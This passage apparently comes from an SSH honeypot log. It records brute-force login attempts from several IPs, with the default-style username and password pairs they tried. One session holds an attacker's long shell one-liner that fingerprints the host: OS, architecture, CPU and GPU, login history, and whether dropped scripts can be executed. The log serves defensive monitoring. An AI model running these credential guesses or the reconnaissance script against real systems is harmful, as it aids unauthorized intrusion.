    "user": "root",
    "pass": "qweasdzxc2002"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

102.220.160.47

2026-07-07 17:11:13.554941 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: anonymous

Record ID: c367b2a9a4a0

Client Version: SSH-2.0-libssh_0.11.4

Engagement Duration: 1.9s

HASSH Fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895

{
  "id": "c367b2a9a4a0",
  "src_ip": "102.220.160.47",
  "start_time": "2026-07-07T17:11:13.554941Z",
  "end_time": "2026-07-07T17:11:15.454116Z",
  "duration": "1.9",
  "version": "SSH-2.0-libssh_0.11.4",
  "hassh": "4ed0d5b0dc3be39c7f96ba3a3cc77895",
  "attempts": [
    {
      "user": "anonymous",
      "pass": ""
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

102.220.160.47

2026-07-07 17:11:10.127517 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / abcd1234

Record ID: f31caf181f4a

Client Version: SSH-2.0-libssh_0.11.4

Engagement Duration: 1.5s

HASSH Fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895

{
  "id": "f31caf181f4a",
  "src_ip": "102.220.160.47",
  "start_time": "2026-07-07T17:11:10.127517Z",
  "end_time": "2026-07-07T17:11:11.622145Z",
  "duration": "1.5",
  "version": "SSH-2.0-libssh_0.11.4",
  "hassh": "4ed0d5b0dc3be39c7f96ba3a3cc77895",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "abcd1234"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

102.220.160.47

2026-07-07 17:10:49.073958 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: grid

Record ID: 022c6b698fbd

Client Version: SSH-2.0-libssh_0.11.4

Engagement Duration: 2.0s

HASSH Fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895

{
  "id": "022c6b698fbd",
  "src_ip": "102.220.160.47",
  "start_time": "2026-07-07T17:10:49.073958Z",
  "end_time": "2026-07-07T17:10:51.065933Z",
  "duration": "2.0",
  "version": "SSH-2.0-libssh_0.11.4",
  "hassh": "4ed0d5b0dc3be39c7f96ba3a3cc77895",
  "attempts": [
    {
      "user": "grid",
      "pass": "grid123"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

102.220.160.47

2026-07-07 17:09:51.866528 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: user / 1234

Record ID: 80b577d9ff75

Client Version: SSH-2.0-libssh_0.11.4

Engagement Duration: 1.6s

HASSH Fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895

{
  "id": "80b577d9ff75",
  "src_ip": "102.220.160.47",
  "start_time": "2026-07-07T17:09:51.866528Z",
  "end_time": "2026-07-07T17:09:53.430574Z",
  "duration": "1.6",
  "version": "SSH-2.0-libssh_0.11.4",
  "hassh": "4ed0d5b0dc3be39c7f96ba3a3cc77895",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "user",
    "pass": "1234"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

102.220.160.47

2026-07-07 17:09:48.239875 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: mobile

Record ID: be7ae07603ac

Client Version: SSH-2.0-libssh_0.11.4

Engagement Duration: 2.0s

HASSH Fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895

{
  "id": "be7ae07603ac",
  "src_ip": "102.220.160.47",
  "start_time": "2026-07-07T17:09:48.239875Z",
  "end_time": "2026-07-07T17:09:50.198082Z",
  "duration": "2.0",
  "version": "SSH-2.0-libssh_0.11.4",
  "hassh": "4ed0d5b0dc3be39c7f96ba3a3cc77895",
  "attempts": [
    {
      "user": "mobile",
      "pass": "Aa123321"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

102.220.160.47

2026-07-07 17:09:22.194590 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: git / 123123123

Record ID: 9407b7c85a26

Client Version: SSH-2.0-libssh_0.11.4

Engagement Duration: 1.3s

HASSH Fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895

{
  "id": "9407b7c85a26",
  "src_ip": "102.220.160.47",
  "start_time": "2026-07-07T17:09:22.194590Z",
  "end_time": "2026-07-07T17:09:23.517355Z",
  "duration": "1.3",
  "version": "SSH-2.0-libssh_0.11.4",
  "hassh": "4ed0d5b0dc3be39c7f96ba3a3cc77895",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "git",
    "pass": "123123123"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

101.200.236.207

2026-07-07 17:08:21.986578 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: f84bb5fb075b

Client Version: Unknown

Engagement Duration: 12.9s

{
  "id": "f84bb5fb075b",
  "src_ip": "101.200.236.207",
  "start_time": "2026-07-07T17:08:21.986578Z",
  "end_time": "2026-07-07T17:08:34.864743Z",
  "duration": "12.9",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

102.220.160.47

2026-07-07 17:08:12.670806 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: admin / 12qwaszx

Record ID: 98e7224ff764

Client Version: SSH-2.0-libssh_0.11.4

Engagement Duration: 1.3s

HASSH Fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895

{
  "id": "98e7224ff764",
  "src_ip": "102.220.160.47",
  "start_time": "2026-07-07T17:08:12.670806Z",
  "end_time": "2026-07-07T17:08:13.954902Z",
  "duration": "1.3",
  "version": "SSH-2.0-libssh_0.11.4",
  "hassh": "4ed0d5b0dc3be39c7f96ba3a3cc77895",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "12qwaszx"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

102.220.160.47

2026-07-07 17:07:50.750820 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: localhost

Record ID: 269761523ef1

Client Version: SSH-2.0-libssh_0.11.4

Engagement Duration: 2.4s

HASSH Fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895

{
  "id": "269761523ef1",
  "src_ip": "102.220.160.47",
  "start_time": "2026-07-07T17:07:50.750820Z",
  "end_time": "2026-07-07T17:07:53.112777Z",
  "duration": "2.4",
  "version": "SSH-2.0-libssh_0.11.4",
  "hassh": "4ed0d5b0dc3be39c7f96ba3a3cc77895",
  "attempts": [
    {
      "user": "localhost",
      "pass": "mFwOHAYibwOdDDcVJXeB"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

102.220.160.47

2026-07-07 17:07:22.900907 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: telecomadmin

Record ID: 23354b369f25

Client Version: SSH-2.0-libssh_0.11.4

Engagement Duration: 2.1s

HASSH Fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895

{
  "id": "23354b369f25",
  "src_ip": "102.220.160.47",
  "start_time": "2026-07-07T17:07:22.900907Z",
  "end_time": "2026-07-07T17:07:25.019155Z",
  "duration": "2.1",
  "version": "SSH-2.0-libssh_0.11.4",
  "hassh": "4ed0d5b0dc3be39c7f96ba3a3cc77895",
  "attempts": [
    {
      "user": "telecomadmin",
      "pass": "admintelecom"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

58.221.60.25

2026-07-07 17:00:07.066195 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 7c9ee6adcea2

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "7c9ee6adcea2",
  "src_ip": "58.221.60.25",
  "start_time": "2026-07-07T17:00:07.066195Z",
  "end_time": "2026-07-07T17:02:07.170748Z",
  "duration": "120.1",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

176.53.159.196

2026-07-07 16:58:10.819861 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: support / support

Record ID: 4ed4472ee9c7

Client Version: SSH-2.0-Go

Engagement Duration: 1.2s

HASSH Fingerprint: eff4c24daffc8532c160e86e5f006e53

{
  "id": "4ed4472ee9c7",
  "src_ip": "176.53.159.196",
  "start_time": "2026-07-07T16:58:10.819861Z",
  "end_time": "2026-07-07T16:58:11.990332Z",
  "duration": "1.2",
  "version": "SSH-2.0-Go",
  "hassh": "eff4c24daffc8532c160e86e5f006e53",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "support",
    "pass": "support"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

101.89.148.7

2026-07-07 16:41:18.583807 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 5b9c721149fc

Client Version: SSH-2.0-Go

Engagement Duration: 2m 0s

{
  "id": "5b9c721149fc",
  "src_ip": "101.89.148.7",
  "start_time": "2026-07-07T16:41:18.583807Z",
  "end_time": "2026-07-07T16:43:18.589822Z",
  "duration": "120.0",
  "version": "SSH-2.0-Go",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

101.89.148.7

2026-07-07 16:41:17.329192 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: f8d390b1d5a1

Client Version: Unknown

Engagement Duration: 0.2s

{
  "id": "f8d390b1d5a1",
  "src_ip": "101.89.148.7",
  "start_time": "2026-07-07T16:41:17.329192Z",
  "end_time": "2026-07-07T16:41:17.492975Z",
  "duration": "0.2",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

176.53.159.196

2026-07-07 16:36:25.820493 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: support / support

Record ID: 60d24d7cce9c

Client Version: SSH-2.0-Go

Engagement Duration: 1.2s

HASSH Fingerprint: eff4c24daffc8532c160e86e5f006e53

{
  "id": "60d24d7cce9c",
  "src_ip": "176.53.159.196",
  "start_time": "2026-07-07T16:36:25.820493Z",
  "end_time": "2026-07-07T16:36:26.979162Z",
  "duration": "1.2",
  "version": "SSH-2.0-Go",
  "hassh": "eff4c24daffc8532c160e86e5f006e53",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "support",
    "pass": "support"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

185.247.137.93

2026-07-07 16:30:52.508456 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: e0b480c13b60

Client Version: SSH-2.0-Go

Engagement Duration: 0.3s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "e0b480c13b60",
  "src_ip": "185.247.137.93",
  "start_time": "2026-07-07T16:30:52.508456Z",
  "end_time": "2026-07-07T16:30:52.797636Z",
  "duration": "0.3",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

185.247.137.93

2026-07-07 16:30:50.370752 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: c791e2e3751a

Client Version: Unknown

Engagement Duration: 2.0s

{
  "id": "c791e2e3751a",
  "src_ip": "185.247.137.93",
  "start_time": "2026-07-07T16:30:50.370752Z",
  "end_time": "2026-07-07T16:30:52.369828Z",
  "duration": "2.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

198.235.24.227

2026-07-07 16:28:28.576552 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: bb3a728162e6

Client Version: SSH-2.0-ZGrab ZGrab SSH Survey

Engagement Duration: 4.1s

HASSH Fingerprint: dd9bcf093c355da7000132131cb36fd0

{
  "id": "bb3a728162e6",
  "src_ip": "198.235.24.227",
  "start_time": "2026-07-07T16:28:28.576552Z",
  "end_time": "2026-07-07T16:28:32.671454Z",
  "duration": "4.1",
  "version": "SSH-2.0-ZGrab ZGrab SSH Survey",
  "hassh": "dd9bcf093c355da7000132131cb36fd0",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

92.118.39.49

2026-07-07 16:18:25.516570 UTC

RECONNAISSANCE COMMANDS RUN SUCCESSFUL LOGIN SCORE: 200

Credential acceptance event recorded. Target authentication: root / 1234567890

Remote entity achieved interactive shell state. Command sequence (9 executed):

[obs-node]:~$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'execute_err='; out=$(bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' "$out" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output"

[obs-node]:~$ uname -s -v -n -m 2 > /dev/null

[obs-node]:~$ /bin/uname -s -v -n -m 2 > /dev/null

[obs-node]:~$ /usr/bin/uname -s -v -n -m 2 > /dev/null

Command not found: /usr/bin/uname -s -v -n -m

[obs-node]:~$ busybox uname -s -v -n -m 2 > /dev/null

[obs-node]:~$ ( [ -f /proc/version ]

[obs-node]:~$ [ -f /proc/version ]

[obs-node]:~$ head -1 /proc/version | cut -d -f1

[obs-node]:~$ [ -f /etc/os-release ]

Record ID: 42fc5bc536cd

Client Version: SSH-2.0-Go

Engagement Duration: 1.3s

HASSH Fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5

{
  "id": "42fc5bc536cd",
  "src_ip": "92.118.39.49",
  "start_time": "2026-07-07T16:18:25.516570Z",
  "end_time": "2026-07-07T16:18:26.778899Z",
  "duration": "1.3",
  "version": "SSH-2.0-Go",
  "hassh": "2ec37a7cc8daf20b10e1ad6221061ca5",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "1234567890"
  },
  "commands": [
    "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"",
    "uname -s -v -n -m 2 > /dev/null",
    "/bin/uname -s -v -n -m 2 > /dev/null",
    "/usr/bin/uname -s -v -n -m 2 > /dev/null",
    "busybox uname -s -v -n -m 2 > /dev/null",
    "( [ -f /proc/version ]",
    "[ -f /proc/version ]",
    "head -1 /proc/version | cut -d -f1",
    "[ -f /etc/os-release ]"
  ],
  "detailed_commands": [
    {
      "cmd": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname -s -v -n -m 2 > /dev/null",
      "failed": false,
      "error": null
    },
    {
      "cmd": "/bin/uname -s -v -n -m 2 > /dev/null",
      "failed": false,
      "error": null
    },
    {
      "cmd": "/usr/bin/uname -s -v -n -m 2 > /dev/null",
      "failed": true,
      "error": "Command not found: /usr/bin/uname -s -v -n -m"
    },
    {
      "cmd": "busybox uname -s -v -n -m 2 > /dev/null",
      "failed": false,
      "error": null
    },
    {
      "cmd": "( [ -f /proc/version ]",
      "failed": false,
      "error": null
    },
    {
      "cmd": "[ -f /proc/version ]",
      "failed": false,
      "error": null
    },
    {
      "cmd": "head -1 /proc/version | cut -d -f1",
      "failed": false,
      "error": null
    },
    {
      "cmd": "[ -f /etc/os-release ]",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "/usr/bin/uname -s -v -n -m"
  ],
  "score": 200,
  "tags": [
    "RECONNAISSANCE",
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

92.118.39.49

2026-07-07 16:16:18.649647 UTC

RECONNAISSANCE COMMANDS RUN SUCCESSFUL LOGIN SCORE: 200

Credential acceptance event recorded. Target authentication: root / 123456789

Remote entity achieved interactive shell state. Command sequence (9 executed):

